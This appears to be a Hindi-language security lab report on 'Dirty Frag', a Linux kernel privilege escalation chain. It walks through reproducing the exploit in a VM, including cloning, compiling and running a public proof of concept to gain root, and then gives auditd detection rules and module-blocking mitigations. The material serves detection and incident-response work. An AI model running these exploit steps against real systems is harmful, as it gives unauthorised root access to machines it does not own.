
Dirty Frag पर एक रिपोर्ट, जो एक Linux Local Privilege Escalation (LPE) भेद्यता श्रृंखला है जो एक अविशेषाधिकार प्राप्त उपयोगकर्ता को रूट एक्सेस प्राप्त करने की अनुमति देती है।
यह रिपॉजिटरी Dirty Frag लिनक्स कर्नेल स्थानीय विशेषाधिकार वृद्धि (LPE) श्रृंखला के लिए एंड‑टू‑एंड पुनरुत्पादन, पहचान इंजीनियरिंग और घटना प्रतिक्रिया का दस्तावेजीकरण करती है। Dirty Frag दो नियतिवादी तर्क दोषों—CVE‑2026‑43284 (xfrm/ESP) और CVE‑2026‑43500 (RxRPC)—को जोड़ता है ताकि एक अनप्रिविलेज्ड स्थानीय उपयोगकर्ता केवल‑पढ़ने योग्य फ़ाइलों (जैसे /usr/bin/su) के पेज कैश को अधिलेखित कर सके और रूट शेल प्राप्त कर सके।
Dirty Frag एक तर्क दोष है, मेमोरी भ्रष्टाचार नहीं। यह नियतिवादी है, 2017 से लगभग सभी लिनक्स वितरणों को प्रभावित करता है, और पूरी तरह से फ़ाइलरहित है—पारंपरिक फ़ाइल अखंडता निगरानी (AIDE, Tripwire) इसे नहीं देख सकती। सार्वजनिक PoC एक एकल C फ़ाइल है जो ESP और RxRPC दोनों पथों को जोड़ती है।
| घटक | विवरण |
|---|---|
| हाइपरवाइज़र | VirtualBox |
| लक्ष्य VM | Kali Linux 2026.1 |
प्रयोगशाला लक्ष्य की पुष्टि करके शुरू होती है कि लक्ष्य एक कमजोर कर्नेल चला रहा है।
cat /etc/os-release | head -3
uname -r
📸 screenshots/pre_exploit_id.png — Kali 2026.1 रिलीज़ और कर्नेल विवरण। uname -r का आउटपुट कमजोर कर्नेल 6.18.12+kali‑amd64 दिखाता है।
शोषण के लिए esp4, esp6, और rxrpc कर्नेल मॉड्यूल आवश्यक हैं।
lsmod | grep -E "esp4|esp6|rxrpc"
modinfo esp4 esp6 rxrpc 2>/dev/null | grep -E "^(name|depends)"
📸 screenshots/module_mitigation.png — lsmod और modinfo पुष्टि करते हैं कि कमजोर मॉड्यूल उपलब्ध हैं।
PoC के Python‑आधारित वेरिएंट को Python 3.10+ की आवश्यकता है। हम दुभाषिया सत्यापित करते हैं।
python3 --version
Python 3.12 स्थापित और तैयार है।
पूर्ण शोषण चलाने से पहले, एक सुरक्षित जाँच स्क्रिप्ट पुष्टि करती है कि सिस्टम कमजोर है।
python3 poc/check_vulnerable.py
जाँचकर्ता "potentially vulnerable" रिपोर्ट करता है, जो शोषण के लिए मार्ग साफ़ करता है।
एक अनप्रिविलेज्ड testuser खाता एक हमलावर का अनुकरण करता है जिसके पास विशेष अधिकार नहीं हैं।
sudo useradd -m testuser
sudo passwd testuser
su - testuser
id
📸 id UID 1001 दिखाता है, गैर‑रूट पहुंच की पुष्टि करता है।
आधिकारिक V4bel PoC को अनप्रिविलेज्ड खाते से क्लोन और संकलित किया जाता है।
git clone https://github.com/V4bel/dirtyfrag.git
cd dirtyfrag
gcc -O0 -Wall -o exp exp.c -lutil
./exp
📸 screenshots/exploit_execution.png — शोषण /usr/bin/su के पेज कैश को अधिलेखित करता है और दूषित बाइनरी को विस्फोटित करता है।
📸 screenshots/post_exploit_root.png — whoami और id आउटपुट पूर्ण रूट वृद्धि साबित करता है।
शोषण केवल इन‑मेमोरी पेज कैश को दूषित करता है। डिस्क पर /usr/bin/su अपना मूल चेकसम बनाए रखता है।
sha256sum /usr/bin/su
sha256sum शोषण के बाद भी मूल पैकेज हैश से मेल खाता है, जो डिस्क में कोई संशोधन नहीं होने की पुष्टि करता है।
शोषण चलाने के बाद, पेज कैश दूषित हो जाता है। हमेशा इसे फ्लश करें:
echo 3 | sudo tee /proc/sys/vm/drop_caches
# या सिस्टम को रीबूट करें
Dirty Frag को फ़ाइल अखंडता निगरानी द्वारा पहचाना नहीं जा सकता। इसके बजाय, हम उन सिस्कॉल‑स्तरीय प्रिमिटिव पर ध्यान केंद्रित करते हैं जिनका यह उपयोग करता है।
हम कस्टम auditd नियम तैनात करते हैं जो निम्नलिखित पर ट्रिगर होते हैं:
# /etc/audit/rules.d/dirtyfrag.rules
-a always,exit -F arch=b64 -S socket -F a0=38 -F uid!=0 -k dirtyfrag_af_alg
-a always,exit -F arch=b64 -S socket -F a0=21 -F uid!=0 -k dirtyfrag_rxrpc
-a always,exit -F arch=b64 -S splice -F uid!=0 -k dirtyfrag_splice
-a always,exit -F arch=b64 -S unshare -F uid!=0 -k dirtyfrag_namespace
-w /usr/bin/su -p r -k dirtyfrag_suid_read
सभी कस्टम नियम सक्रिय हैं, auditctl -l से सत्यापित।
शोषण को दूसरी बार चलाने के बाद, हम उपयोग किए गए सटीक सिस्कॉल के लिए अलर्ट देखते हैं:
एक Sigma नियम auditd निष्कर्षों को विक्रेता‑तटस्थ SIEM प्रारूप में अनुवादित करता है।
फ़ाइल: detection/sigma/dirty_frag_exploit.yml
एक YARA नियम डिस्क और मेमोरी में Dirty Frag शोषण कोड की पहचान करने में मदद करता है।
फ़ाइल: detection/yara/dirty_frag_exploit.yar
एक पूर्ण घटना प्रतिक्रिया रिपोर्ट reports/incident-dirtyfrag.md में उपलब्ध है। इसमें शामिल है:
तत्काल शमन (रीबूट की आवश्यकता नहीं):
echo "install esp4 /bin/false" | sudo tee /etc/modprobe.d/dirtyfrag.conf
echo "install esp6 /bin/false" | sudo tee -a /etc/modprobe.d/dirtyfrag.conf
echo "install rxrpc /bin/false" | sudo tee -a /etc/modprobe.d/dirtyfrag.conf
sudo rmmod esp4 esp6 rxrpc 2>/dev/null
⚠️ प्रभाव: इन मॉड्यूल को अक्षम करने से IPsec VPN और AFS फ़ाइल सिस्टम कार्यक्षमता टूट जाती है।
एक उपयोग के लिए तैयार शमन स्क्रिप्ट mitigation/dirtyfrag_mitigation.sh पर शामिल है।
स्थायी समाधान: अपने कर्नेल को पैच किए गए संस्करण में अपग्रेड करें।
| कर्नेल | 6.18.12+kali‑amd64 |
| शोषण PoC | V4bel/dirtyfrag |
| पहचान | auditd, Sigma, YARA |
| परत | यह क्या देखता है | स्थिति |
|---|
| auditd | AF_ALG/AF_RXRPC सॉकेट + splice सिस्कॉल + unshare | ✅ तैनात |
| Sigma | SIEM के माध्यम से सिस्कॉल पैटर्न | ✅ नियम तैयार |
| YARA | डिस्क/मेमोरी पर PoC कोड | ✅ नियम तैयार |
| FIM (AIDE/Tripwire) | फ़ाइल परिवर्तन | ❌ अंधा – कोई डिस्क लेखन नहीं होता |